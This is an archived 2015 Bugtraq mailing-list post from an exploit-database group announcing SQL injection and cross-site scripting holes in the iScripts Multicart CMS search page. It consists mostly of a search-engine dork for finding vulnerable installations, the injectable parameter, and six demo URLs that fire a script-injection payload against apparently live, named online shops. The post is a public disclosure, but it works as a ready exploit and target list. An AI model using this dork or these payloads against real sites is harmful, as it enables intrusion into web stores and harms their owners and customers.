bugtraq - iScripts Multicart Cms Multiple Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201512071439.tB7EdWLA025449@sf01web1.securityfocus.com>
Date: Mon, 7 Dec 2015 14:39:32 GMT
From: iedb.team@...il.com
To: bugtraq@...urityfocus.com
Subject: iScripts Multicart Cms Multiple Vulnerability

Sql And Xss Vulnerability In iScripts Multicart Cms All Version




#################################

#
#     @@@    @@@@@@@@@@@    @@@@@           @@@@@@@@@@            @@@  @@@@@@@
#     @@@    @@@@@@@@@@@    @@@  @@         @@@     @@            @@@  @@@@@@@@  
#     @@@    @@@            @@@    @@       @@@       @@          @@@  @@@  @@@  
#     @@@    @@@            @@@      @@     @@@     @@            @@@  @@@  @@@  
#     @@@    @@@@@@@@@@@    @@@       @     @@@@@@@@@@            @@@  @@@@@@
#     @@@    @@@@@@@@@@@    @@@     @@      @@@     @@            @@@  @@@@@@
#     @@@    @@@            @@@   @@        @@@       @@   @@@    @@@  @@@ @@@
#     @@@    @@@            @@@ @@          @@@     @@     @@@    @@@  @@@  @@@
#     @@@    @@@@@@@@@@@    @@@@@           @@@@@@@@@@     @@@    @@@  @@@   @@@
#

#####################################

#####################################

#         Iranian Exploit DataBase

# iScripts Multicart Cms Multiple Vulnerability

# Vendor site : http://www.iscripts.com/multicart/

# Dork : "Powered by iScripts Multicart"

# Author : IeDb

# Site : Www.IeDb.Ir   -   xssed.Ir

# Vulnerability attack information site : http://xssed.Ir/

#####################################

Bug :

http://www.site.com/search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch=[Xss][sql]

Dem0 :

http://www.farmdrop.org/shop/search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch='"><script>alert(/iedb.ir/)</script>
http://artisanfantasy.com/search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch='"><script>alert(/iedb.ir/)</script>
http://flowergardeners.com/Shop/search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch='"><script>alert(/iedb.ir/)</script>
https://www.totalboxshop.tv/uk/search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch='"><script>alert(/iedb.ir/)</script>
http://www.youneik.com/search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch='"><script>alert(/iedb.ir/)</script>
http://www.lilhalfpintshop.com/search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch='"><script>alert(/iedb.ir/)</script>


#####################################

#  Archive Exploit = http://iedb.ir/exploits-4281.html

#####################################